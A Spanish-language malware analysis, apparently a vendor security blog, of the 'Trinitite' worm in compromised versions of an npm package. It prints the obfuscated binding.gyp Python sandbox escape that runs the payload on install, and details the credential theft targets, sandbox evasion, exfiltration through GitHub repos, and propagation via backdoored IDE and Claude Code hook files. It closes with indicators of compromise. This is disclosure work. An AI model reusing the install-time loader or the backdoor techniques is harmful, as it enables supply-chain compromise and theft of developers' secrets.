Solo ha pasado un día desde que nos enteramos de la noticia de Detienen a miembros de TeamPCP en Australia, y ahora hemos detectado un nuevo malware similar a TeamPCP que afecta a 10 versiones de un popular paquete de npm llamado @7nohe/openapi-react-query-codegen (+150 000 descargas semanales). Todas estas versiones se publicaron en npm en un plazo de 20 minutos. El paquete en cuestión genera hooks de TanStack Query con seguridad de tipos directamente a partir de un esquema OpenAPI, lo que evita a los desarrolladores tener que escribir código repetitivo a mano.
El malware se autodenomina «Trinitite: Patrocinado por Preview 2 Effects». La trinitita es el material vítreo que queda en el suelo del desierto tras una detonación nuclear. Las versiones anteriores de la carga útil hacían referencia a un script llamado literalmente is_it_this_simple.js, lo que resume bastante bien la actitud.
Aún no está claro si se trata de un imitador, de un antiguo miembro que logró escapar de las detenciones o de un actor malicioso totalmente distinto. Quienquiera que esté detrás de este ataque, sin duda comparte con TeamPCP su gusto por lo teatral.
Tanto el paquete npm como su repositorio correspondiente en GitHub parecen haber sido objeto de un ataque. El atacante consiguió acceder aprovechando una vulnerabilidad en uno de los flujos de trabajo de GitHub Actions del proyecto. Por lo tanto, todas las versiones incluyen certificados de procedencia válidos. Se trata de certificados criptográficos que demuestran que el paquete se ha compilado mediante el flujo de trabajo oficial de GitHub Actions. Sin embargo, cuando el propio flujo de trabajo se ve comprometido, ese certificado deja de ser una señal de confianza fiable.
El entorno de pruebas de binding.gyp escape
El gancho de ejecución inicial es binding.gyp, un archivo que normalmente se utiliza para configurar la compilación de complementos nativos de Node.js. Me sorprendió un poco ver que se utilizaba este truco concreto aquí, teniendo en cuenta que yo ya informamos sobre este tipo de vulnerabilidad a principios de este año. Parece que esta técnica se está popularizando.
¿Cuándo? npm install procesa un paquete que contiene un binding.gyp, invoca node-gyp para compilar el módulo nativo. node-gyp evalúa el condiciones campo del archivo mediante Python, lo que significa que se pueden introducir expresiones arbitrarias de Python en él y que se ejecutarán durante la instalación, incluso sin ningún preinstall script declarado en package.json.
El binding.gyp En este paquete tiene este aspecto:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}La expresión condicional es un entorno aislado de Python escape que utiliza el catch_warnings clase, a la que se accede recorriendo la jerarquía de clases desde (). Una vez descodificados, los caracteres Unicode y los códigos hexadecimales se traducen en lo siguiente:
[c para c en ().__class__.__base__.__subclasses__() si c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Encuentra el catch_warnings clase a través del árbol de subclases interno de Python, y la utiliza para acceder a __builtins__, importaciones os, y llama a os.system() para ejecutar la carga útil principal con Node. El tipo El campo está codificado en hexadecimal ninguno por lo que no se intenta realizar ninguna compilación nativa, y el nombre del destino Frot no tiene sentido. El archivo entero existe únicamente para ejecutar un comando de shell.
Cabe señalar que no todas las versiones vulnerables utilizan este truco. Las dos versiones preliminares utilizan un método sencillo preinstall utiliza el script en su lugar. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab ejecuta nodo nu.js directamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be Descargas de Bun a través de wget conectado a bash y luego se ejecuta is_it_this_simple.js.
Dicho esto, las versiones comprometidas posteriores fueron aún más lejos e incorporaron ambos vectores a la vez, combinando el binding.gyp truco con un "preinstall": "node 3FWCvzduYZg.js" un guion, por si acaso.
Ofuscación y elusión de entornos de pruebas
3FWCvzduYZg.js es un archivo de una sola línea de 5,4 MB ubicado en el directorio raíz del paquete. El archivo utiliza cuatro capas de cifrado. La capa más externa es una matriz de enteros de 1,6 millones de elementos, sometida a una operación XOR con la clave 29. Al descifrarse, da como resultado un script que descarga el entorno de ejecución de Bun de forma silenciosa (como trinnyyyy-XXXXX (en el directorio temporal del sistema) y lo utiliza para ejecutar la carga útil real, que está cifrada con AES-128-GCM en su interior. La carga útil interna consiste en otros 800 KB de código JavaScript ofuscado que utiliza un cifrado personalizado de tabla aleatoria, además de las transformaciones estándar de obfuscator.io. Una vez descifrada y desofuscada por completo, contiene un recopilador de credenciales, un gusano y un comando destructivo.
Antes de hacer nada, la carga útil comprueba varias condiciones y se cierra sin mostrar ningún mensaje si se cumple alguna de ellas:
- La configuración regional del sistema es el ruso (comprueba
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,IDIOMA,LANG) - CrowdStrike, si existen los directorios « SentinelOne » o «CarbonBlack»
- El directorio de trabajo comienza con
/tmp/npm-safe/o/opt/hscan-supplychain-dynamic/ - Las variables de entorno contienen prefijos de credenciales falsas conocidos que utilizan los escáneres de seguridad (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-falso,ghp_decoyGitHubToken) - El
GITHUB_REPOSITORY_OWNERes una de las varias cuentas conocidas de investigadores en materia de seguridad (acciones-seguridad-demostración,h0x0er,varunsh-coder,rohan-stepsecurity) - La herramienta «harden-runner» de StepSecurity está activa
Qué roba
La carga útil tiene como objetivo una amplia gama de credenciales, tanto en plataformas en la nube como en herramientas de desarrollo y archivos locales.
Tokens de GitHub
Busca PAT clásicos (gh[op]_...) y tokens de gran detalle (github_pat_...) en variables de entorno y archivos locales. En los runners de GitHub Actions también solicita un token OIDC a través de ACTIONS_ID_TOKEN_REQUEST_TOKEN y ACTIONS_ID_TOKEN_REQUEST_URL.
Tokens de npm, PyPI y RubyGems
Lee ~/.npmrc y busca más .npmrc archivos. Extrae los tokens de portador y los valida comparándolos con registry.npmjs[.]org/-/whoami. Se dirige a los tokens de PyPI (pypi-AgEIcHlwaS5vcmcCJ...) y tokens de RubyGems (rubygems_...) mediante el mismo método.
Credenciales de AWS
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, y diez variables de entorno relacionadas~/.aws/credentialsy~/.aws/config- Servicio de metadatos de instancias de EC2 en
169[.]254[.]169[.]254, probando primero IMDSv2 - Punto final de metadatos de contenedores de ECS en
169[.]254[.]170[.]2 - Llamadas
sts:GetCallerIdentitypara verificar las credenciales antes de la exfiltración
Credenciales de Azure
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, y el archivo de tokens federados- Punto final de identidad gestionada de Azure IMDS
- Una vez autenticado, accede a Azure Key Vault, Azure Resource Manager y la API de Microsoft Graph
Credenciales de GCP
GOOGLE_APPLICATION_CREDENTIALSArchivo JSON de la cuenta de servicio- Servidor de metadatos de GCP en
metadata[.]google[.]internal - Google Secret Manager una vez obtenido el token
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Enumera los secretos a través de
/api/v1/system/me,/secretos,/api/v1/espacios de nombres
Kubernetes
- Token de la cuenta de servicio en
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGy~/.kube/config/etc/rancher/k3s/k3s.yaml
Análisis del sistema de archivos (más de 150 patrones «glob»)
- Todas las claves privadas de SSH:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Carteras de criptomonedas:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Datos de sesiones de mensajería: Signal, Telegram Desktop, Discord, Slack, Element
- Configuraciones de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - Dominios y tokens de JFrog Artifactory
Exfiltración
Una vez recopiladas las credenciales, la carga útil necesita un repositorio de GitHub para subirlas. Al igual que en ataques anteriores similares a Miasma, primero busca en el historial público de commits de GitHub aquellos commits cuyo mensaje coincida con "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Descifra el token incrustado y utiliza esa cuenta para crear el repositorio de exfiltración. Esto significa que los datos sustraídos a una víctima acaban en un repositorio propiedad de otro usuario.
El nombre del repositorio se genera combinando dos elementos elegidos al azar Proyecto Touhou nombres de personajes con un número aleatorio, por ejemplo cirno-marisa-74291 o reimu-kogasa-12048. La descripción del repositorio está configurada como «Trinitite: Patrocinado por Preview 2 Effects», que es la forma de identificar los repositorios de exfiltración en el entorno real:

Las credenciales robadas se guardan como archivos JSON cifrados con los nombres doubletrinnys-{contador}-{marca de tiempo}.json dentro de un resultados/ directorio. Cada archivo contiene dos campos: sobre, el paquete de credenciales cifradas, y clave, la propia clave de cifrado está cifrada con la clave pública RSA del atacante. Solo el atacante, que posee la clave privada correspondiente, puede descifrar el contenido. Los datos están a la vista de todos en los repositorios públicos de GitHub, pero son ilegibles para cualquier otra persona. Curiosamente, la mayoría de los mensajes de commit simplemente dicen: «miau, miau, miau».
Propagación del gusano
Trinitite utiliza tokens robados para propagarse a otros paquetes y repositorios.
npm, PyPI y RubyGems
Con un token de npm robado, la carga útil llama a registry.npmjs[.]org/-/npm/v1/tokens para encontrar el token de publicación con el nivel de privilegios más alto y, a continuación, consulta /v1/search?text=maintainer:{user} para enumerar todos los paquetes de los que es responsable el mantenedor. Obtiene el archivo tar actual de cada paquete e inserta un nuevo binding.gyp que contiene el mismo entorno aislado de Python escape, y añade una copia de 3FWCvzduYZg.js, y publica una nueva versión. El mismo procedimiento se aplica a PyPI (a través de upload.pypi[.]org/legacy/) y RubyGems (a través de rubygems[.]org/api/v1/gems). Todas las solicitudes de publicación utilizan {tls: {rejectUnauthorized: false}} para evitar la fijación de certificados.
Manipulación maliciosa de repositorios de GitHub
Con un token de GitHub robado, la carga útil enumera todos los repositorios y ramas accesibles, omitiendo las ramas cuyo nombre comience por comunicado de prensa/, dependabot/, renovar/, y copiloto/. Para cada rama, realiza el commit de los siguientes archivos:
.vscode/tasks.jsoncon una configuración del gestor de tareas que contiene una puerta trasera.claude/settings.jsoncon unInicio de sesióngancho que se ejecutasetup.mjscada vez que un desarrollador abre el proyecto en Claude Code.claude/setup.mjsque contiene la carga útil secundaria.vscode/setup.mjsque contiene lo mismo.github/workflows/codeql.yml, un flujo de trabajo de seguridad falso de CodeQL que también funciona como puerta trasera.gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Cada commit se atribuye a github-actions con el mensaje «tarea: actualizar dependencias» y un skip-checks:true remolque para eludir los controles de estado obligatorios.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso (IOCs)
Versiones del paquete
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Archivos
3FWCvzduYZg.jspresente en el directorio raíz del paquete- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Directorios temporales denominados
trinnyyyy-seguido de 6 caracteres alfanuméricos aleatorios (p. ej.,trinnyyyy-a3f9k2) en la carpeta «temp» del sistema

